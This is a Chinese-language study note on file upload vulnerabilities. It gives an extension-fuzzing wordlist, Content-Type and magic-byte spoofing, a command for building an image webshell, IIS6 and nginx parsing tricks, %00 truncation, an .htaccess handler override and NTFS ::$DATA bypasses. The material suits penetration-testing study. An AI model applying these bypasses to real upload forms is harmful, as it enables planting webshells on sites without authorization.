文件上传漏洞学习
文件上传过程
客户端选择发送的文件–>服务器接收–>网站程序判断–>临时文件–>移动到指定的路径
文件上传错误码
0:成功
1:文件大小超过php.ini中upload_max_filesize选择限制的值
2:文件大小超过了HTML表单中MAX_FILE_SIIZE选项指定的值
3:文件只有部分被上传
4:没有文件被上传
网站常见后缀名
asp、asa、cdx、cer、php、aspx、ashx、php3、php.a、shtml、phtml、htm
过滤的时候可以传入aspasp、phpphp
大小写转换
造成漏洞的原因
- 程序代码和系统缺陷
- 文件可以直接上传
- js脚本限制,禁止js文件运行
- 黑名单过滤不全,穷举后缀名
- 黑名单:asp、asa、cdx、cer、php、aspx、ashx
- 白名单:jpg、png、gif等
- 文件名可控,后缀名不可控,iss6.0解析漏洞
文件名未做任何限制
可以任意上传文件
客户端js验证绕过
查看浏览器控制台Network,上传非法文件时报错Network没有显示,即为js验证。
绕过
-
简单的控制台修改一下html代码,绕过js检查
type="button"
直接改为type=",再把
onclick="return check_file();"
删除即可。 -
上传图片,抓包,把图片数据改为代码,文件名相应更改,即可上传。
黑白名单绕过
黑名单是禁止上传后缀,白名单允许上传,实际应用中黑名单为主。
网站文件上传后缀字典,可以再修改,更改大小写,随即大小写之类
php
php2
php3
php4
php5
pHp
pHp2
pHp3
pHp4
pHp5
html
htm
phtml
pht
Html
Htm
pHtml
asp
aspx
asa
asax
ashx
asmx
cer
aSp
aSpx
aSa
aSax
aScx
aShx
aSmx
cEr
jsp
jspa
jspx
jsw
jxv
jspf
jtml
JSp
jSpx
jSpa
jSw
jSv
jSpf
jHtml
asp/test.jpg
asp;.jpg
cer/test.jpg
cer;.jpg
asa/test.jpg
asa;.jpg
aSp/test.jpg
aSp;.jpg
cEr/test.jpg
cEr;.jpg
aSa/test.jpg
aSa;.jpg
jpg/xx.php
jpg/xx.pHp
jpg/.php
jpg/.pHp
php.xs.aa
php2.aa
php3.aa
php4.aa
php5.aa
pHp.aa
pHp2.aa
pHp3.aa
pHp4.aaa
pHp5.aa
html.aa
htm.aa
phtml.aa
pht.aaa
Html.aaa
Htm.aa
pHtml.aa
php::$DATA
aspasp
phpphps
穷举出可以成功上传的文件后缀
content-type检测突破上传
抓包,修改http文件类型
常见图片类型:image/pjpeg,image/bmp,image/gif,image/x-png,image/jpeg,image/jpg
例如:Content-Type: image/pjpeg
文件头检测突破上传
JPEG(jpg):FFD8FF
PNG(png):89504E47
TIFF(tif):47492A00
Windows Bitmap(bmp):424D
GIF(gif):474946
文件头修改
制作图片一句话
copy 1.gif/b + 2.php shell.php
IIS6.0文件名解释漏洞
文件名可控,后缀名不可控
rick.asp;.jpg rick.asp;jpg
(适情况选择)
抓包改文件名,顺手改了文件类型,直接访问rick.asp;.jpg可以成功(php同理)。
目录解析漏洞
文件夹名为asp、cer、asa、cdx结尾,如xxx.asp
,这样文件夹下的asp
例子:
在xx.asp文件夹下都是以asp文件解析
抓包,改filepath,改content-type,改文件后缀,send,得到xxxx.jpg
即使是.asp文件也一样可以连接webshell
%00截断
- 直接截断文件名
- 创建可控目录,%00截断创建目录,利用IIS6.0解析漏洞上传
- 截断参数
例子:rick.php%00.jpg,把%00进行URL解码
也可通过更改默认文件名的开头,截断后面的文件名内容,参数c改为rick.%00
重写解析
apache开启了重写模块
LoadModule rewrite_module modules/mod_rewrite.so
重写解析 .htaccess
<FileMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
上传一句话图片马,访问可以成功
系统特性突破上传
系统特性
一般上传时防火墙会做拦截,
冒号:
,rick.php:.jpg上传生成的是名为rick.php空白文件
利用php和windows系统的叠加特性,以下符号在正则匹配时的相等性
双引号"
=.
大于号>
=?
ss
小于号<
=*
文件名.<
或.<<<
或文件名.>>
或文件名.>><
前面生成的空白文件,用这种方法就可以写入
NTFS交换数据流
xxx.php:$DATA
创建文件
xxx.php::$DATA
创建和写入
程序逻辑造成双文件
双文件上传:上传时,第一个为jpg第二个为php可以成功上传php(俩堆了一起,按前面的处理)
空格文件上传:抓包,在文件名后加空格
配置错误:
- 1.jpg/php
IIS7.0/IIS7.5/nginx开启fast-cqi
- /2.jpg%00php
nginx <= 0.83
补充
windows会把文件最后一个点自动去掉